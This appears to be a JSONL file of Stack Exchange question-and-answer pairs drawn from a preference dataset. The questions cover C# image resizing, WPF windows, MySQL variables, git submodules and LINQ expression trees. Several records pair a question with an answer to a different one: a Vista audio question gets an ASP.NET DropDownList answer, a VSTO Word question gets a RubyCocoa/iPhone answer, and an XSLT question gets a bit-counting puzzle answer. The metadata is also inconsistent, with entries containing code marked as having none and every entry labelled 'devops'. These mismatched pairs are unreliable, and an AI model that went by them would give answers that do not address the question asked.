{"id": "hf_f96c5e293f83", "question": "<p>I am using some custom controls one of which is a tooltip controller that can display images, so I am using th ebelow code to instantiate it:</p>\n\n<pre><code>Image newImage = Image.FromFile(imagePath);\ne.ToolTipImage = newImage;\n</code></pre>\n\n<p>obviously could inline it but just testing at the moment. The trouble is the image is sometimes the wrong size, is there a way to set the display size. The only way I can currently see is editing the image using GDI+ or something like that. Seems like a lot of extra processing when I am only wanting to adjust display size not affect the actual image.</p>\n", "question_body": "", "answer": "Once you have an image object loaded from its source, the Height and Width (and Size, and all ancillary properties) are read-only. Therefore, you are stuck with GDI+ methods for resizing it in RAM and then displaying it accordingly.\nThere are a lot of approaches you can take, but if you were to encapsulate that out to a library which you could reuse should this problem occur again, you'll be set to go. This isn't exactly optimized (IE, may have some bugs), but should give you an idea of how to approach it:\n```\n```\nImage newImage = Image.FromFile(myFilePath);\nSize outputSize = new Size(200, 200);\nBitmap backgroundBitmap = new Bitmap(outputSize.Width, outputSize.Height);\nusing (Bitmap tempBitmap = new Bitmap(newImage))\n{\n    using (Graphics g = Graphics.FromImage(backgroundBitmap))\n    {\n        g.InterpolationMode = InterpolationMode.HighQualityBicubic;\n        // Get the set of points that determine our rectangle for resizing.\n        Point[] corners = {\n            new Point(0, 0),\n            new Point(backgroundBitmap.Width, 0),\n            new Point(0, backgroundBitmap.Height)\n        };\n        g.DrawImage(tempBitmap, corners);\n    }\n}\nthis.BackgroundImage = backgroundBitmap;\n```\n```\nI did test this, and it worked. (It created a 200x200 resized version of one of my desktop wallpapers, then set that as the background image of the main form in a scratch WinForms project. You'll need\n```\nusing\n```\nstatements for\n```\nSystem.Drawing\n```\nand\n```\nSystem.Drawing.Drawing2D\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:51.468107"}
{"id": "hf_5a3c972e230f", "question": "<p>What is the string concatenation operator in Oracle SQL?  </p>\n\n<p>Are there any \"interesting\" features I should be careful of?  </p>\n\n<p>(This seems obvious, but I couldn't find a previous question asking it).  </p>\n", "question_body": "", "answer": "It is\n```\n||\n```\n, for example:\n```\n```\nselect 'Mr ' || ename from emp;\n```\n```\nThe only \"interesting\" feature I can think of is that\n```\n'x' || null\n```\nreturns\n```\n'x'\n```\n, not\n```\nnull\n```\nas you might perhaps expect.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:51.541105"}
{"id": "hf_6a683530354d", "question": "<p>I realize that this would be COMPLETELY bad practice in normal situations, but this is just for a test app that needs to be taking input from a bar code scanner (emulating a keyboard).  The problem is that I need to start up some scripts while scanning, so I need the window to regain focus directly after I click the script to run it.  I've tried using Activate(), BringToFront(), Focus() as well as some Win32 calls like SetForegroundWindow(), Setcapture() and SetActiveWindow()... however the best I can get any of them to do is to make the taskbar item start blinking to tell me that it <em>wants</em> to have focus, but something is stopping it.  BTW, I'm running this on XP SP2 and using .NET 2.0.</p>\n\n<p>Is this possible?</p>\n\n<p>Edit: To clarify, I am running the scripts by double-clicking on them in explorer.  So I need it to steal focus back from explorer and to the test app.</p>\n", "question_body": "", "answer": "Visibility\nMake the window a \"Top-Most\" window.  This is the way the Task-Manager can remain on top of other windows.  This is a property of a\n```\nForm\n```\nand you make the form top-most (floating above other windows) by setting the value to\n```\ntrue\n```\n.\nYou shouldn't need to override any of the \"Active window\" behaviour with the top-most setting.\nFocus\nI asked a similar question\npreviously here on StackOverflow\nand the answer would solve your problem.  You can make the application use a low-level input hook and get notification of the key-codes coming from the scanner.  This way, your application always gets these keys even though the application does not have focus.\nYou may need to enhance the solution to squash the key-codes so that they are not transmitted to the \"in-focus\" application (e.g. notepad).\nSince Windows 2000, there is no official mechanism for an application to grab focus without direct intervention of the user.  Peeking at the input streams through the RawInputDevices hook is the only sensible way to go.\nA number of articles may help (C# implementations)\nRawInput article on CodeProject\nMSDN documentation of RawInput", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:51.605713"}
{"id": "hf_ac9be5de9c19", "question": "<p>I'm trying to write an iterator for results from a PDO statement but I can't find any way of rewinding to the first row. I would like to avoid the overhead of calling fetchAll and storing all the result data.</p>\n\n<pre><code>// first loop works fine\nforeach($statement as $result) {\n    // do something with result\n}\n\n// but subsequent loops don't\nforeach($statement as $result) {\n    // never called \n}\n</code></pre>\n\n<p>Is there some way of reseting the statement or seeking the first row?</p>\n", "question_body": "", "answer": "You'll probably want to take a look at some of the PHP SPL classes that can be extended to provide array-like access to objects.\nStandard PHP Library (SPL)\nI would specifically\nrecommend that you look at the\nArrayIterator, ArrayObject, and\nperhaps the Iterator interface.\nSimple\nTutorial\nAnother\nQuick Tutorial", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:51.640749"}
{"id": "hf_22943e167754", "question": "<p>Is there some elegant way to add an empty option to a DropDownList bound with a LinqDataSource?</p>\n", "question_body": "", "answer": "Here's how to add a value at the top of the list. It can be an empty string, or some text.\n```\n```\n<asp:DropDownList ID=\"categories\" runat=\"server\" AppendDataBoundItems=\"True\" AutoPostBack=\"True\" DataSourceID=\"categoriesDataSource\" DataTextField=\"CategoryName\" DataValueField=\"CategoryID\" EnableViewState=\"False\">\n    <asp:ListItem Value=\"-1\">\n       -- Choose a Category --\n    </asp:ListItem>           \n</asp:DropDownList>\n```\n```\nBe sure to set the DropDownList's AppendDataBoundItems=True.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:51.763440"}
{"id": "hf_8557363aef23", "question": "<p>The new Vista Audio subsystem is set up to be a chain of devices starting with the inputs, going through all the various controls (like mixers and volumen controls) and then ending up at various endpoints (like speakers or headphones).</p>\n\n<p>My question is: Is there a tool out there that will show all the endpoints devices in the system, and what devices are chained together?  Ideally, it would diagram the topology, showing what inputs where connected to what outputs, and you would be able to see all the properties for each part of the audio system.</p>\n", "question_body": "", "answer": "Here's how to add a value at the top of the list. It can be an empty string, or some text.\n```\n```\n<asp:DropDownList ID=\"categories\" runat=\"server\" AppendDataBoundItems=\"True\" AutoPostBack=\"True\" DataSourceID=\"categoriesDataSource\" DataTextField=\"CategoryName\" DataValueField=\"CategoryID\" EnableViewState=\"False\">\n    <asp:ListItem Value=\"-1\">\n       -- Choose a Category --\n    </asp:ListItem>           \n</asp:DropDownList>\n```\n```\nBe sure to set the DropDownList's AppendDataBoundItems=True.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:51.793309"}
{"id": "hf_4fd9342433de", "question": "<p>What is the best way to stop a user from resizing the top-level window of an application written in WPF?</p>\n", "question_body": "", "answer": "You will want to use the\n```\nResizeMode.NoResize\n```\non the window.\n```\n```\n<Window x:Class=\"WpfApplication5.Window1\"\n    xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n    xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n    ResizeMode=\"NoResize\">\n</Window>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:51.842831"}
{"id": "hf_6beef3595acb", "question": "<p>I have Visual Studio setup with a VSTO word project, and when I hit run it runs fine.</p>\n\n<p>But, how do I setup a word document to use my code without having Visual Studio running?</p>\n", "question_body": "", "answer": "RubyCocoa is not supported at all on the iPhone. There is no bridge support library, and I do not believe there is any ruby interpreter on the phone.\nYou might be able to get it working in the simulator, it will not stop you from using OS X only libraries if you really try, but that still will not make it work on the iPhone.\nIf you really want to use RubyCocoa on the iPhone you will need to build ruby as a static library and port the bridge to the phone, which is doable, but would probably be very difficult.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:51.935388"}
{"id": "hf_d1d0f1ae4e93", "question": "<p>How would you render a tag cloud within a .NET 2.0+ WinForm application?</p>\n\n<p>One solution that I am thinking of would be using the WebBrowser control and generating to some ad-hoc HTML, but that seems to be a pretty heavy solution.</p>\n\n<p>Am I missing something more simple?</p>\n", "question_body": "", "answer": "Well, you'll want a control with these major features:\nAutomatic layout of variable sized string snippets\nAutomatic mouse hit testing\nThose are a bit hard to come by in WF controls.  A RichTextBox with ReadOnly = true gives you the automatic layout, but not the hit testing.  A ListBox with DrawItem can give you variable sized strings and hit testing, but not a natural layout.\nI think I would use RTB and make hit testing work with the MouseDown event and GetCharIndexFromPosition(), reading back the tag at the clicked location.  You'll need a bit of logic to find the starting and ending white space around the word.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:51.957559"}
{"id": "hf_ffea6bc55a04", "question": "<p>C# What is the easiest way to disable a control after 10 seconds? Using a Timer or a stopwatch? I'm new to both so thanks for the help.</p>\n", "question_body": "", "answer": "Use a timer. It suits your needs better.\nEDIT: As other have said, go with the\n```\nSystem.Windows.Forms.Timer\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:52.015242"}
{"id": "hf_77fc0ed34452", "question": "<p>I'm starting a project which I think would benefit from bindings (I've got a source list table, several browser views, etc), but I think it would also be quite doable, and perhaps more understandable, without them. From my limited experience I've found bindings to be difficult to troubleshoot and very \"magic\" (e.g. it's difficult to insert logging anywhere to figure out where stuff is breaking, everything either works or it doesn't).</p>\n\n<p>Is this just my inexperience talking (in which case I could sit down and spend some time just working on my understanding of bindings and expect things to start becoming clearer/easier) or would I be better off just writing all the glue code myself in a manner which I was sure I could understand and troubleshoot.</p>\n", "question_body": "", "answer": "Bindings can seem magical in nature. To understand the magic behind bindings, I think one must understand KVC/KVO thoroughly. I really do mean thoroughly.\nHowever, in my case (new to Obj-C -- 9 months), once I got KVC/KVO bindings was a thrill. It has significantly reduced my glue code and made my life significantly easier. Debugging bindings became a case of making sure my key-value changes were observable. I find that I am able to spend more time writing what my app is supposed to do rather than making sure the view reflects the data.\nI do agree though that bindings is highly intimidating at first.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:52.178076"}
{"id": "hf_e2cc1e2a7ea2", "question": "<p>I'm trying to animate Visio objects with a loop, such as:</p>\n\n<pre><code>For reposition = 2 To 6\n    xpos = reposition\n    ypos = reposition\n\n    sh1.SetCenter xpos, ypos\n\n    Sleep 1000\n\nNext reposition\n</code></pre>\n\n<p>While this DOES move the object from the starting position to the ending, the intermediate steps are not visible. After a delay only the final position is displayed.</p>\n\n<p>If I put a <code>MsgBox</code> in the loop then each intermediate position is visible but one must click a distracting, center-positioned box in order to see these.</p>\n\n<p>How can I make the flow visible without user interaction and covering of the screen by a modal window?</p>\n", "question_body": "", "answer": "Try a\n```\nDoEvents\n```\nstatement before your sleep", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:52.201880"}
{"id": "hf_235199e27644", "question": "<p>You are given a 32-bit unsigned integer array with length up to 2<sup>32</sup>, with the property that more than half of the entries in the array are equal to N, for some 32-bit unsigned  integer N. Find N looking at each number in the array only once and using at most 2 kB of memory.</p>\n\n<p>Your solution must be deterministic, and guaranteed to find N.</p>\n", "question_body": "", "answer": "Keep one integer for each bit, and increment this collection appropriately for each integer in the array.\nAt the end, some of the bits will have a count higher than half the length of the array - those bits determine N. Of course, the count will be higher than the number of times N occurred, but that doesn't matter. The important thing is that any bit which isn't part of N\ncannot\noccur more than half the times (because N has over half the entries) and any bit which is part of N\nmust\noccur more than half the times (because it will occur every time N occurs, and any extras).\n(No code at the moment - about to lose net access. Hopefully the above is clear enough though.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:52.248014"}
{"id": "hf_307269f6310a", "question": "<p>At my current job we have a CMS system that is .NET/SQL Server based. While customizing a couple of the modules for some internal use, I was a little surprised to see that instead of having APIs that returned data via your typical result set that was bound to a DataGrid/DataList/Repeater control, that the APIs returned an XML node/collection, that was then passed to an XSLT transformation and rendered on the page that way.</p>\n\n<p>What are the benefits to using a model like this?</p>\n", "question_body": "", "answer": "Keep one integer for each bit, and increment this collection appropriately for each integer in the array.\nAt the end, some of the bits will have a count higher than half the length of the array - those bits determine N. Of course, the count will be higher than the number of times N occurred, but that doesn't matter. The important thing is that any bit which isn't part of N\ncannot\noccur more than half the times (because N has over half the entries) and any bit which is part of N\nmust\noccur more than half the times (because it will occur every time N occurs, and any extras).\n(No code at the moment - about to lose net access. Hopefully the above is clear enough though.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:52.270622"}
{"id": "hf_8868092e869f", "question": "<p>I have written a simple PowerShell filter that pushes the current object down the pipeline if its date is between the specified begin and end date.  The objects coming down the pipeline are always in ascending date order so as soon as the date exceeds the specified end date I know my work is done and I would like to let tell the pipeline that the upstream commands can abandon their work so that the pipeline can finish its work.  I am reading some very large log files and I will frequently want to examine just a portion of the log.  I am pretty sure this is not possible but I wanted to ask to be sure.</p>\n", "question_body": "", "answer": "It is not possible to stop an upstream command from a downstream command.. it will continue to filter out objects that do not match your criteria, but the first command will process everything it was set to process.\nThe workaround will be to do more filtering on the upstream cmdlet or function/filter.  Working with log files makes it a bit more comoplicated, but perhaps using Select-String and a regular expression to filter out the undesired dates might work for you.\nUnless you know how many lines you want to take and from where, the whole file will be read to check for the pattern.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:52.328797"}
{"id": "hf_bafcc4309cbd", "question": "<p>After some time I wanted to update my git repo, and then something went wrong. What is the proper way out of this situation?</p>\n\n<pre><code>mblsha@siruba:~/src/psi/ $ git status\niris: needs merge\n# On branch master\n# Changes to be committed:\n#   (use \"git reset HEAD &lt;file&gt;...\" to unstage)\n#\n#   modified:   src/common.cpp\n#\n# Changed but not updated:\n#   (use \"git add &lt;file&gt;...\" to update what will be committed)\n#\n#   unmerged:   iris\n#\n# Untracked files:\n#   (use \"git add &lt;file&gt;...\" to include in what will be committed)\n#\n#   gupdate.sh\nmblsha@siruba:~/src/psi/ $ git submodule status\n+cf237ef8f3d9dc058dbde47e6973e6388608ce60 iris (heads/master)\n+cf237ef8f3d9dc058dbde47e6973e6388608ce60 iris (heads/master)\n+cf237ef8f3d9dc058dbde47e6973e6388608ce60 iris (heads/master)\nmblsha@siruba:~/src/psi/ $ cd iris \nmblsha@siruba:~/src/psi/iris/ $ cat .git/HEAD \ncf237ef8f3d9dc058dbde47e6973e6388608ce60\n</code></pre>\n", "question_body": "", "answer": "When it comes to git submodules, almost any problem you encounter can be solved by:\n```\n```\n1. deleting the submodule (rm -r iris)\n2. recreating it again (git submodule update)\n```\n```\nObviously if you have made local changes to your submodule this will DELETE them PERMANENTLY, so if you have local changes make sure you have pushed them first.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:52.375017"}
{"id": "hf_7727ff4a660f", "question": "<p>I'm looking for a method to reliably extract the host name from a URL string in Ruby.</p>\n\n<p>e.g. \n<a href=\"http://www.mglenn.com/directory\" rel=\"noreferrer\">http://www.mglenn.com/directory</a> = www.mglenn.com\nOR\n<a href=\"http://www.mglenn.com?param=x\" rel=\"noreferrer\">http://www.mglenn.com?param=x</a> = www.mglenn.com</p>\n", "question_body": "", "answer": "You could try something like this:\n```\n```\nrequire 'uri'\n\nmyUri = URI.parse( 'http://www.mglenn.com/directory' )\nprint myUri.host\n# =>  www.mglenn.com\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:52.445739"}
{"id": "hf_b097dff77c5b", "question": "<p>We've converted our solution from .NET 2.0 to .NET 3.5. All projects converted just fine except for the Website Project, which still doesn't understand what I mean when using 'var' and the like.</p>\n\n<p>I've looked in the property pages for the web project, and the Target Framework is set to '.NET Framework 3.5'.</p>\n\n<p>Any other ideas?</p>\n", "question_body": "", "answer": "By default, a new web app in 3.5 has the following References:\nSystem System.Configuration\nSystem.Core\nSystem.Data\nSystem.Data.DataSetExtensions\nSystem.Drawing\nSystem.EnterpriseServices\nSystem.Web\nSystem.WebExtensions\nSystem.Web.Mobile\nSystem.Web.Services\nSystem.Xml\nSystem.Xml.Linq\nin addition, in the web.config file, you'll find the following assembly information near the top of your web.config file:\n```\n```\n<assemblies>\n      <add assembly=\"System.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089\"/>\n      <add assembly=\"System.Data.DataSetExtensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089\"/>\n      <add assembly=\"System.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35\"/>\n      <add assembly=\"System.Xml.Linq, Version=3.5.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089\"/>\n    </assemblies>\n```\n```\nand you will also find the runtime assembly binding found at the bottom of the file:\n```\n```\n<runtime>\n      <assemblyBinding xmlns=\"urn:schemas-microsoft-com:asm.v1\">\n        <dependentAssembly>\n          <assemblyIdentity name=\"System.Web.Extensions\" publicKeyToken=\"31bf3856ad364e35\"/>\n          <bindingRedirect oldVersion=\"1.0.0.0-1.1.0.0\" newVersion=\"3.5.0.0\"/>\n        </dependentAssembly>\n        <dependentAssembly>\n          <assemblyIdentity name=\"System.Web.Extensions.Design\" publicKeyToken=\"31bf3856ad364e35\"/>\n          <bindingRedirect oldVersion=\"1.0.0.0-1.1.0.0\" newVersion=\"3.5.0.0\"/>\n        </dependentAssembly>\n      </assemblyBinding>\n    </runtime>\n```\n```\nI'm wagering that not having all of these references is causing issues with your var declarations. Verify all of these contents were properly added/created.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:52.467570"}
{"id": "hf_3f7ee1aa23cb", "question": "<p>I must be overlooking something simple. I'm setting a variable from a query result in a MySQL stored procedure like this:</p>\n\n<pre><code>SELECT @myName := username FROM User WHERE ID=1;\n</code></pre>\n\n<p>So, @myName is storing the username of userid 1, which is 'Paul'. Great.</p>\n\n<p>But later in the stored procedure I run an update on this record:</p>\n\n<pre><code>UPDATE User SET username = 'Fred' WHERE ID=1;\n</code></pre>\n\n<p>Now, for some reason, @myName = 'Fred' when it should still equal 'Paul', right? It appears MySQL is just creating a pointer to the record rather than storing a static value in the @myName variable. </p>\n\n<p>So in short, I want to be able to store a value in a variable from a query result and assure the value of my variable doesn't change, even when the data in the table it was set from changes.</p>\n\n<p>What am I missing? Thanks in advance!</p>\n", "question_body": "", "answer": "That's very surprising, I agree.  I'm not sure how to explain it, but for what it's worth, try this instead:\n```\n```\nSELECT username INTO myName FROM User WHERE ID=1;\n```\n```\nSee\nhttp://dev.mysql.com/doc/refman/5.0/en/select-into-statement.html\nupdate:\nI'm trying to reproduce this problem, but I can't.  I'm using MySQL 5.0.51 on Mac OS X.\n```\n```\ndrop table if exists user;\ncreate table user (\n  id serial primary key,\n  username varchar(10)\n);\ninsert into user (username) values ('Paul');\n\ndrop procedure if exists doit;\ndelimiter !!\ncreate procedure doit()\nbegin\n  declare name varchar(10);\n  select @name:=username from user where id=1;\n  select @name; -- shows 'Paul' as expected\n  update user set username = 'Fred' where id=1;\n  select @name; -- still shows 'Paul'\nend!!\ndelimiter ;\n\ncall doit();\n```\n```\nCan you try the code above in your test database and let us know if it exhibits the problem you describe?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:52.492059"}
{"id": "hf_995b63a3209c", "question": "<p>I've been tasked with the awesome job of generating a look-up table for our application culture information.  The columns I need to generate data for are:</p>\n\n<ul>\n<li>Dot Net Code</li>\n<li>Version</li>\n<li>Culture Name</li>\n<li>Country Name</li>\n<li>Language Name</li>\n<li>Java Country Code</li>\n<li>Java Language Code</li>\n<li>Iso Country Code</li>\n<li>Iso Language Code</li>\n</ul>\n\n<p>I have found the globalization name space, but I'm sure someone out there has asked the same question, or there is a table already available.</p>\n\n<p>Thanks for any help</p>\n", "question_body": "", "answer": "Java uses the 2-letter ISO country and language codes. I recommend getting rid of the \"Java Country Code\" and \"Java Language Code\" fields in your lookup table, since they would be redundant.\nI assume that wherever you get your ISO\ncountry\nand\nlanguage\ncodes, you'll find their corresponding names in English. However, the Java\nLocale\nAPI will give also you the localized names for the country and language, if you need them. (I.e., what is America called in Japan?)\nFor example, you can do this:\n```\n```\nLocale l = Locale.ITALY;\nSystem.out.println(l.getDisplayCountry() + \": \" + l.getDisplayLanguage());\nSystem.out.println(l.getDisplayCountry(l) + \": \" + l.getDisplayLanguage(l));\n```\n```\nWhich, running in the US English locale prints:\n```\n```\nItaly: Italian \nItalia: italiano\n```\n```\nNote that you can obtain 3-letter ISO codes from the Locale class, but when constructing them, be sure to only use 2-letter codes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:52.561476"}
{"id": "hf_4022e205e791", "question": "<p>I am just getting started with expression trees so I hope this makes sense. I am trying to create an expression tree to represent:</p>\n\n<pre><code>t =&gt; t.SomeProperty.Contains(\"stringValue\");\n</code></pre>\n\n<p>So far I have got:</p>\n\n<pre><code>    private static Expression.Lambda&lt;Func&lt;string, bool&gt;&gt; GetContainsExpression&lt;T&gt;(string propertyName, string propertyValue)\n    {\n        var parameterExp = Expression.Parameter(typeof(T), \"type\");\n        var propertyExp = Expression.Property(parameter, propertyName);\n        var containsMethodExp = Expression.*SomeMemberReferenceFunction*(\"Contains\", propertyExp) //this is where I got lost, obviously :)\n        ...\n        return Expression.Lambda&lt;Func&lt;string, bool&gt;&gt;(containsMethodExp, parameterExp); //then something like this\n    }\n</code></pre>\n\n<p>I just don't know how to reference the String.Contains() method.</p>\n\n<p>Help appreciated. </p>\n", "question_body": "", "answer": "Something like:\n```\n```\nclass Foo\n{\n    public string Bar { get; set; }\n}\nstatic void Main()\n{\n    var lambda = GetExpression<Foo>(\"Bar\", \"abc\");\n    Foo foo = new Foo { Bar = \"aabca\" };\n    bool test = lambda.Compile()(foo);\n}\nstatic Expression<Func<T, bool>> GetExpression<T>(string propertyName, string propertyValue)\n{\n    var parameterExp = Expression.Parameter(typeof(T), \"type\");\n    var propertyExp = Expression.Property(parameterExp, propertyName);\n    MethodInfo method = typeof(string).GetMethod(\"Contains\", new[] { typeof(string) });\n    var someValue = Expression.Constant(propertyValue, typeof(string));\n    var containsMethodExp = Expression.Call(propertyExp, method, someValue);\n\n    return Expression.Lambda<Func<T, bool>>(containsMethodExp, parameterExp);\n}\n```\n```\nYou might find\nthis\nhelpful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:52.597096"}
{"id": "hf_76d36e63b0cb", "question": "<p>I have a RESTful web service deployed at <a href=\"http://example.com/v1/SomeResource\" rel=\"noreferrer\">http://example.com/v1/SomeResource</a>. One day, a new protocol version (<strong>that is not backwards compatible</strong>) is deployed to <a href=\"http://example.com/v2/SomeResource\" rel=\"noreferrer\">http://example.com/v2/SomeResource</a>. From the client of view, this upgrade could occur at any time between two HTTP requests.</p>\n\n<p>How does the server indicate to the client that it no longer supports v1 calls and the client is expected to upgrade to v2? Is there an appropriate response code I can use?</p>\n\n<p>I would want to provide the client with the following information:</p>\n\n<ol>\n<li>An incompatible upgrade has taken place. There is no way for the client to use the new service because the protocol could be totally different.</li>\n<li>The URL of the new client software.</li>\n<li>A message explaining to the users that they must upgrade.</li>\n</ol>\n", "question_body": "", "answer": "Best practice:\nIt's probably better to keep the versioning out of the URL and to make the new resources backwards compatible with the old.\nBackwards compatible:\nIf you must keep the v1 in the URL, and are making v2 URLs, then you have to decide whether you want to support both formats, or make the old v1 obsolete.  If you decide on making the old v1 obsolete then I would recommend to return 303 or 401 for anyone requesting a v1 URL.\nMaking old URLs obsolete:\nI would recommend using 303 See Other.  Or if there is no associated redirect, then use 410 Gone.\nSource\n303 See Other\nThe response to the request can be\n  found under a different URI and SHOULD\n  be retrieved using a GET method on\n  that resource. This method exists\n  primarily to allow the output of a\n  POST-activated script to redirect the\n  user agent to a selected resource. The\n  new URI is not a substitute reference\n  for the originally requested resource.\n  The 303 response MUST NOT be cached,\n  but the response to the second\n  (redirected) request might be\n  cacheable.\nThe different URI SHOULD be given by\n  the Location field in the response.\n  Unless the request method was HEAD,\n  the entity of the response SHOULD\n  contain a short hypertext note with a\n  hyperlink to the new URI(s).\nNote: Many pre-HTTP/1.1 user agents do not understand the 303\n    status. When interoperability with such clients is a concern, the\n    302 status code may be used instead, since most user agents react\n    to a 302 response as described here for 303.\nDocument everything:\nThe main thing to be concerned about is whatever you chose to return, just document it in your documentation.  You can decide how you want your service to work, others that want to consume it will follow the documentation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:52.623998"}
{"id": "hf_0079eb7555c5", "question": "<p>I have some code doing this :</p>\n\n<pre><code> var changes = document.getElementsByName(from);\n for (var c=0; c&lt;changes.length; c++) {\n   var ch = changes[c];\n   var current = new String(ch.innerHTML);\n   etc.\n }\n</code></pre>\n\n<p>This works fine in FF and Chrome but not in IE7. Presumably because getElementsByName isn't working in IE. What's the best workaround?</p>\n", "question_body": "", "answer": "There are a couple of problems:\nIE is indeed confusing\n```\nid=\"\"\n```\nwith\n```\nname=\"\"\n```\n```\nname=\"\"\n```\nisn't allowed on\n```\n<span>\n```\nTo fix, I suggest:\nChange all the\n```\nname=\"\"\n```\nto\n```\nclass=\"\"\n```\nChange your code like this:\n-\n```\n```\nvar changes = document.getElementById('text').getElementsByTagName('span');\nfor (var c=0; c<changes.length; c++) {\n var ch = changes[c];\n\n if (ch.className != from)\ncontinue;\n\n var current = new String(ch.innerHTML);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:52.696865"}
